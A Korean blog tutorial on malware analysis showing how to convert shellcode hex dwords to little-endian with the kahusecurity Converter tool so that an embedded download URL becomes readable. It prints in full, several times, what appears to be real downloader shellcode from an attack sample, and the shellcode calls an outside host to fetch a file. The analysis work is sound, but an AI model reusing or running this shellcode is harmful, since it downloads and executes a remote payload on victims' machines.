분석을 하다보면 HEX 값을 ASCII로 변환 해야 하는 경우가 다수 있다.
보통 ShellCode를 살펴보다 보면 이런 값들을 많이 보게 되는데 한가지 예시를 들어보자.
0x68FFFFFE, 0x3A707474 -> 이 값을 ASCII로 변환해 보면 "h ?ptt" 이러한 값이 보여진다.
유추 해 보자면 이 값은 "http:" 를 나타나는 HEX 값일 것이다.
그럼 리틀엔디언(Little-Endian) 방식으로 값을 변환 해서 아래와 같은 값으로 바꾸면 된다.
(※ 변환값을 알기 쉽도록 2바이트마다 (숫자)로 표기함)
0x68(1)FF(2)FF(3)FE(4), 0x3A(1)70(2)74(3)74(4) : (원본)
↓
0xFE(4)FF(3)FF(2)68(1), 0x74(4)74(3)70(2)3A(1) : (변환)
위의 예시에서 말하듯이 어떠한 특정 데이터를 리틀엔디언 형식으로 바꾸는건 어렵지 않다.
하지만 그 데이터가 방대하다면???
사람의 손으로 한다는건 정말 말도 안된다!!
그래서 디코딩 툴로 유명한 kahusecurity 의 Converter Tool을 이용하여 변환하는 방법을 알아보자!!
※ 준비물
- kahusecurity Converter Tool : http://www.kahusecurity.com/tools
- malzilla_1.2.0 : http://malzilla.sourceforge.net
- Converter Data (※ Data는 3.20 유사 샘플에서 인용하였음)
0x50EC8360, 0xE34B8B68, 0xED49685F, 0x29687E0F, 0x6857E844, 0x5B8ACA33, 0x46C61B68, 0xFE726879, 0xFB6816B3, 0x680FFD97, 0xE80A791F, 0x0117A568, 0x4E8E687C, 0xCC8BEC0E, 0x00008BE9, 0x33FC5600, 0x528B64D2, 0x0C528B30, 0x8B14528B, 0xC0332872, 0x000018B8, 0x33595000, 0xACC033FF, 0x027C613C, 0xCFC1202C, 0xE2F8030D, 0x5BFF81F0, 0x8B6A4ABC, 0x128B105A, 0xC38BD575, 0x8B60C35E, 0x3C558BEA, 0x7815448B, 0xD08BC503, 0x8B18488B, 0xDD032058, 0x8B4934E3, 0xF5038B34, 0xC033FF33, 0xC084ACFC, 0xCFC10774, 0xEBF8030D, 0x247C3BF4, 0x8BE17528, 0xDD03245A, 0x4B0C8B66, 0x031C5A8B, 0x8B048BDD, 0x4489C503, 0xC3611C24, 0x50AD39EB, 0xFFA8E852, 0x0789FFFF, 0x8308C483, 0xF13B04C7, 0x5EC3EC75, 0xF0B0C033, 0xEC8BE02B, 0x51407589, 0xFFFF4CE8, 0xD08B59FF, 0x05EB02EB, 0xFFFFF9E8, 0x458958FF, 0xE905EB2C, 0x00000081, 0x4EFEF18B, 0x047D8D06, 0xC183CE8B, 0xFFB0E81C, 0xC183FFFF, 0x6E01B80C, 0xF8C17465, 0x77685008, 0x8B696E69, 0x535251DC, 0x5A0455FF, 0xE8D08B59, 0xFFFFFF8E, 0x5050C033, 0xFF505050, 0x45892055, 0x20458D34, 0x0040B850, 0xB8500000, 0x00004000, 0x2C458B50, 0x0010002D, 0x55FF5000, 0xB8C03318, 0x00008000, 0x50C03350, 0x5D8B5050, 0x75FF5340, 0x2455FF34, 0x840FC085, 0x000000D2, 0xEB384589, 0x8D35EB02, 0x33567F75, 0x5030B0C0, 0x8B1C55FF, 0xC7C033D8, 0x61781E04, 0x44C76975, 0x636F041E, 0x44C76E6F, 0x2E66081E, 0x44C67865, 0x88650C1E, 0x890D1E44, 0x02EB3075, 0xB05067EB, 0x02B05002, 0x50C03250, 0xC140B050, 0x565018E0, 0x830855FF, 0x7A74FFF8, 0x333C4589, 0x0CB866C0, 0x8BE02B01, 0x045E8DF4, 0x04B86653, 0x468D5001, 0x75FF5008, 0x2855FF38, 0x8504468B, 0x331674C0, 0x468D50C0, 0x76FF5004, 0x08468D04, 0x3C75FF50, 0xEB0C55FF, 0x3C75FFD0, 0x331055FF, 0x0CB866C0, 0xEBE00301, 0x3333EB02, 0x2B54B1C9, 0x33FC8BE1, 0x8BAAF3C0, 0x4407C6FC, 0x5644778D, 0x50505057, 0xFF505050, 0xFF503075, 0xC4811455, 0x000001C4, 0xC481C361, 0x00000170, 0x7CE8C361, 0x68FFFFFE, 0x3A707474, 0x77772F2F, 0x64732E77, 0x69616667, 0x632E6874, 0x662F6D6F, 0x73656C69, 0x766E652F, 0x616D692F, 0x6A2F6567, 0x662F6770, 0x74737269, 0x6669672E, 0x00000000
0. Converter Data 변환
우선 Data를 보면, 0x00000000 형식으로 되어있다.
이 데이터를 우리는 변환이 가능하도록 "0x" , "," 문구를 모두 없애는 작업이 우선이다.
(문구를 없앨때에는 Editor 프로그램 아무거나 써도 된다.)
50EC8360E34B8B68ED49685F29687E0F6857E8445B8ACA3346C61B68FE726879FB6816B3680FFD97E80A791F0117A5684E8E687CCC8BEC0E00008BE933FC5600528B64D20C528B308B14528BC0332872000018B833595000ACC033FF027C613CCFC1202CE2F8030D5BFF81F08B6A4ABC128B105AC38BD5758B60C35E3C558BEA7815448BD08BC5038B18488BDD0320588B4934E3F5038B34C033FF33C084ACFCCFC10774EBF8030D247C3BF48BE17528DD03245A4B0C8B66031C5A8B8B048BDD4489C503C3611C2450AD39EBFFA8E8520789FFFF8308C483F13B04C75EC3EC75F0B0C033EC8BE02B51407589FFFF4CE8D08B59FF05EB02EBFFFFF9E8458958FFE905EB2C000000814EFEF18B047D8D06C183CE8BFFB0E81CC183FFFF6E01B80CF8C17465776850088B696E69535251DC5A0455FFE8D08B59FFFFFF8E5050C033FF5050504589205520458D340040B850B8500000000040002C458B500010002D55FF5000B8C033180000800050C033505D8B505075FF53402455FF34840FC085000000D2EB3845898D35EB0233567F755030B0C08B1C55FFC7C033D861781E0444C76975636F041E44C76E6F2E66081E44C6786588650C1E890D1E4402EB3075B05067EB02B0500250C03250C140B050565018E0830855FF7A74FFF8333C45890CB866C08BE02B01045E8DF404B86653468D500175FF50082855FF388504468B331674C0468D50C076FF500408468D043C75FF50EB0C55FF3C75FFD0331055FF0CB866C0EBE003013333EB022B54B1C933FC8BE18BAAF3C04407C6FC5644778D50505057FF505050FF503075C4811455000001C4C481C361000001707CE8C36168FFFFFE3A70747477772F2F64732E7769616667632E6874662F6D6F73656C69766E652F616D692F6A2F6567662F6770747372696669672E00000000
1. USC2 to Hex 된 데이터
Converter Tool 을 이용하여 Converter Data 를 input에 입력 후 USC2 to Hex 클릭 한다.
그럼 아래와 같은 Converter Data 를 얻을 수 있다.
EC5060834BE3688B49ED5F6868290F7E576844E88A5B33CAC646681B72FE796868FBB3160F6897FD0AE81F79170168A58E4E7C688BCC0EEC0000E98BFC3300568B52D264520C308B148B8B5233C072280000B81859330050C0ACFF337C023C61C1CF2C20F8E20D03FF5BF0816A8BBC4A8B125A108BC375D5608B5EC3553CEA8B15788B448BD003C5188B8B4803DD5820498BE33403F5348B33C033FF84C0FCACC1CF7407F8EB0D037C24F43BE18B287503DD5A240C4B668B1C038B5A048BDD8B894403C561C3241CAD50EB39A8FF52E88907FFFF088383C43BF1C704C35E75ECB0F033C08BEC2BE040518975FFFFE84C8BD0FF59EB05EB02FFFFE8F98945FF5805E92CEB00008100FE4E8BF17D04068D83C18BCEB0FF1CE883C1FFFF016E0CB8C1F8657468770850698B696E5253DC51045AFF55D0E8598BFFFF8EFF505033C050FF5050894555204520348D400050B850B8000000000040452C508B10002D00FF550050C0B8183300000080C05050338B5D5050FF754053552434FF0F8485C00000D20038EB8945358D02EB5633757F3050C0B01C8BFF55C0C7D8337861041EC74475696F631E04C7446F6E662E1E08C644657865881E0C0D89441EEB02753050B0EB67B0020250C050503240C150B05056E0180883FF55747AF8FF3C338945B80CC066E08B012B5E04F48DB80453668D460150FF750850552838FF04858B461633C0748D46C050FF7604504608048D753C50FF0CEBFF55753CD0FF1033FF55B80CC066E0EB0103333302EB542BC9B1FC33E18BAA8BC0F30744FCC644568D775050575050FF505050FF753081C455140000C40181C461C300007001E87C61C3FF68FEFF703A747477772F2F7364772E616967662E6374682F666F6D6573696C6E762F656D612F692F6A67652F6670677374697269662E6700000000
2. Swap (6 Chars 2 Positons)
1번에 나온 Data의 순서를 Swap 버튼으로 바꿀 수 있다.
6 Chars 2 Positons 는 6개의 문자열을 2개의 위치씩 변환시키라는 뜻이다.
그럼 아래와 같은 Converter Data 를 얻을 수 있다.
6050EC8368E34B8B5FED49680F29687E446857E8335B8ACA6846C61B79FE7268B3FB681697680FFD1FE80A79680117A57C4E8E680ECC8BECE900008B0033FC56D2528B64300C528B8B8B145272C03328B800001800335950FFACC0333C027C612CCFC1200DE2F803F05BFF81BC8B6A4A5A128B1075C38BD55E8B60C3EA3C558B8B78154403D08BC58B8B184858DD0320E38B493434F5038B33C033FFFCC084AC74CFC1070DEBF803F4247C3B288BE1755ADD0324664B0C8B8B031C5ADD8B048B034489C524C3611CEB50AD3952FFA8E8FF0789FF838308C4C7F13B04755EC3EC33F0B0C02BEC8BE089514075E8FFFF4CFFD08B59EB05EB02E8FFFFF9FF4589582CE905EB810000008B4EFEF106047D8D8BC183CE1CFFB0E8FFC183FF0C6E01B865F8C17408776850698B696EDC535251FF5A045559E8D08B8EFFFFFF335050C050FF5050554589203420458D500040B800B8500000000040502C458B2D0010000055FF5018B8C033000000805050C033505D8B504075FF53342455FF85840FC0D200000089EB3845028D35EB7533567FC05030B0FF8B1C55D8C7C0330461781E7544C7691E636F046F44C76E1E2E66086544C6781E88650C44890D1E7502EB30EBB050670202B0505050C03250C140B0E0565018FF830855F87A74FF89333C45C00CB866018BE02BF4045E8D5304B86601468D500875FF50382855FF8B850446C0331674C0468D500476FF500408468D503C75FFFFEB0C55D03C75FFFF331055C00CB86601EBE003023333EBC92B54B1E133FC8BC08BAAF3FC4407C68D5644775750505050FF505075FF503055C48114C400000161C481C370000001617CE8C3FE68FFFF743A70742F77772F7764732E6769616674632E686F662F6D6973656C2F766E652F616D69676A2F6570662F67697473722E66696700000000
3. 2번 데이터를 다시 USC2 to Hex
2번에서 나온 Data를 다시 input 창에 복사 한 후 USC2 to Hex 를 클릭한다.
그럼 아래와 같은 Converter Data 를 얻을 수 있다.
506083ECE3688B4BED5F6849290F7E686844E8575B33CA8A46681BC6FE796872FBB316686897FD0FE81F790A0168A5174E7C688ECC0EEC8B00E98B00330056FC52D2648B0C308B528B8B5214C072283300B8180033005059ACFF33C0023C617CCF2C20C1E20D03F85BF081FF8BBC4A6A125A108BC375D58B8B5EC3603CEA8B55788B4415D003C58B8B8B4818DD5820038BE33449F5348B03C033FF33C0FCAC84CF7407C1EB0D03F824F43B7C8B2875E1DD5A24034B668B0C038B5A1C8BDD8B044403C589C3241C6150EB39ADFF52E8A807FFFF898383C408F1C7043B5E75ECC3F033C0B0EC2BE08B51897540FFE84CFFD0FF598B05EB02EBFFE8F9FF45FF5889E92CEB05008100004E8BF1FE04068D7DC18BCE83FF1CE8B0C1FFFF836E0CB801F86574C1770850688B696E6953DC51525AFF5504E8598BD0FF8EFFFF5033C050FF5050504555208920348D450050B840B8000050000040002C508B45002D0010550050FFB81833C000008000505033C05D50508B754053FF2434FF558485C00F00D20000EB8945388D02EB3533757F5650C0B0308BFF551CC7D833C061041E78447569C7631E046F446F6EC72E1E0866446578C6881E0C6589441E0D027530EBB0EB6750020250B0505032C0C150B04056E0185083FF55087AF8FF743389453C0CC066B88B012BE004F48D5E045366B84601508D750850FF2838FF55858B460433C0741646C0508D760450FF08048D463C50FF75EBFF550C3CD0FF7533FF55100CC066B8EB0103E03302EB332BC9B15433E18BFC8BC0F3AA44FCC607568D774450575050FF505050FF753050C455148100C40100C461C381007001007C61C3E868FEFFFF3A747470772F2F7764772E73696766616374682E666F6D2F73696C65762F656E612F696D6A67652F6670672F74697273662E676900000000
4. Swap (6 Chars 2 Positons)
3번에 나온 Data의 순서를 Swap 버튼으로 다시 바꾼다.
그럼 아래와 같은 Converter Data 를 얻을 수 있다.
836050EC8B68E34B685FED497E0F2968E8446857CA335B8A1B6846C66879FE7216B3FB68FD97680F791FE80AA5680117687C4E8EEC0ECC8B8BE90000560033FC64D2528B8B300C52528B8B142872C03318B800005000335933FFACC0613C027C202CCFC1030DE2F881F05BFF4ABC8B6A105A128BD575C38BC35E8B608BEA3C55448B7815C503D08B488B8B182058DD0334E38B498B34F503FF33C033ACFCC0840774CFC1030DEBF83BF4247C75288BE1245ADD038B664B0C5A8B031C8BDD8B04C50344891C24C36139EB50ADE852FFA8FFFF0789C483830804C7F13BEC755EC3C033F0B0E02BEC8B758951404CE8FFFF59FFD08B02EB05EBF9E8FFFF58FF4589EB2CE90500810000F18B4EFE8D06047DCE8BC183E81CFFB0FFFFC183B80C6E017465F8C1500877686E698B6951DC535255FF5A048B59E8D0FF8EFFFFC03350505050FF50205545898D342045B85000400000B850400000008B502C45002D0010500055FF3318B8C080000000335050C050505D8B534075FFFF342455C085840F00D200004589EB38EB028D357F753356B0C0503055FF8B1C33D8C7C01E046178697544C7041E636F6E6F44C7081E2E66786544C60C1E88651E44890D307502EB67EBB050500202B0325050C0B050C14018E0565055FF8308FFF87A744589333C66C00CB82B018BE08DF4045E665304B85001468D500875FFFF382855468B850474C0331650C0468D500476FF8D040846FF503C7555FFEB0CFFD03C7555FF331066C00CB80301EBE0EB023333B1C92B548BE133FCF3C08BAAC6FC4407778D5644505750505050FF503075FF501455C48101C40000C361C48101700000C3617CE8FFFE68FF74743A702F2F77772E776473666769616874632E6D6F662F6C697365652F766E692F616D65676A2F6770662F72697473672E666900000000
5. 4번 데이터를 다시 USC2 to Hex
4번에서 나온 Data를 다시 input 창에 복사 한 후 USC2 to Hex 를 클릭한다.
그럼 아래와 같이 최종적으로 Converter Data 를 얻을 수 있다.
6083EC50688B4BE35F6849ED0F7E682944E8576833CA8A5B681BC646796872FEB31668FB97FD0F681F790AE868A517017C688E4E0EEC8BCCE98B00000056FC33D2648B52308B520C8B52148B722833C0B818000000505933FF33C0AC3C617C022C20C1CF0D03F8E2F081FF5BBC4A6A8B5A108B1275D58BC35EC3608BEA8B553C8B44157803C58BD08B48188B582003DDE334498B348B03F533FF33C0FCAC84C07407C1CF0D03F8EBF43B7C242875E18B5A2403DD668B0C4B8B5A1C03DD8B048B03C58944241C61C3EB39AD5052E8A8FFFFFF890783C40883C7043BF175ECC35E33C0B0F02BE08BEC89754051E84CFFFFFF598BD0EB02EB05E8F9FFFFFF5889452CEB05E9810000008BF1FE4E068D7D048BCE83C11CE8B0FFFFFF83C10CB8016E6574C1F808506877696E698BDC515253FF55045A598BD0E88EFFFFFF33C05050505050FF55208945348D452050B84000000050B800400000508B452C2D0010000050FF551833C0B8008000005033C05050508B5D4053FF7534FF552485C00F84D2000000894538EB02EB358D757F5633C0B03050FF551C8BD833C0C7041E78617569C7441E046F636F6EC7441E08662E6578C6441E0C6588441E0D897530EB02EB6750B00250B0025032C05050B040C1E0185056FF550883F8FF747A89453C33C066B80C012BE08BF48D5E045366B80401508D460850FF7538FF55288B460485C0741633C0508D460450FF76048D460850FF753CFF550CEBD0FF753CFF551033C066B80C0103E0EB02EB3333C9B1542BE18BFC33C0F3AA8BFCC607448D77445657505050505050FF753050FF551481C4C401000061C381C47001000061C3E87CFEFFFF687474703A2F2F7777772E73646766616974682E636F6D2F66696C65732F656E762F696D6167652F6A70672F66697273742E67696600000000
최종적으로 바뀌었다고는 하나 뭐가 틀린지 모르겠다는 분들을 위해 변환전과 변환후의 ASCII 값을 살펴보자.
(보통 HEX값을 ASCII로 볼 때에는 Malzilla 기능 중 Hew View Tab을 많이 이용한다)
■ 순서를 바꾸기 전에 Converter Data의 ASCII 값이다.
뭔가 의심스러운 URL 문자열이 보인다.
■ 순서를 바꾼 후 Converter Data의 ASCII 값이다.
정확히 다운로드 할 URL이 눈에 보인다.
인터넷을 찾아보니, 이렇게 임의의 데이터를 리틀엔디언(Little-Endian)으로 바꿔주는 툴이 존재하지 않았다.
물론 내가 못 찾은거 일 수도 있다. ㅡ.ㅡ;;
(아는 사람은 좀 알려주시길 ㅋㅋㅋㅋㅋㅋㅋㅋㅋ)
그래도 이렇게 5번의 변환과정을 통해 바꾸는건 정말 귀찮은거 같다.
가능하면, 개발능력을 높여서 직접 툴을 만드는것을 추천한다!!
'Tools' 카테고리의 다른 글
|
[시스템툴] Sysinternals Tools Update - Autoruns v12.02, Coreinfo v3.31, Sysmon v1.01, Whois v1.12 (0)
|
2014.08.21 |
|
[시스템툴] Sysinternals Tools Update - Sysmon v1.0, Autoruns v12.01, Coreinfo v3.3, Procexp v16.03 (0)
|
2014.08.11 |
|
[분석툴] Converter Tool을 이용하여 특정 데이터를 리틀엔디언(Little-Endian)으로 변환하는 방법 (0)
|
2014.07.11 |
|
[시스템툴] Sysinternals Tools Update - AccessChk v5.2, PsExec v2.11, Sigcheck v2.1, VMMap v3.12 (0)
|
2014.05.12 |
|
[시스템툴] Sysinternals Tools Update - Process Explorer v16.02, Process Monitor v3.1, PSExec v2.1, Sigcheck v2.03 (0)
|
2014.03.11 |
|
[분석툴] YARA 2.0 업데이트 (2013-12-26) (0)
|
2013.12.31 |
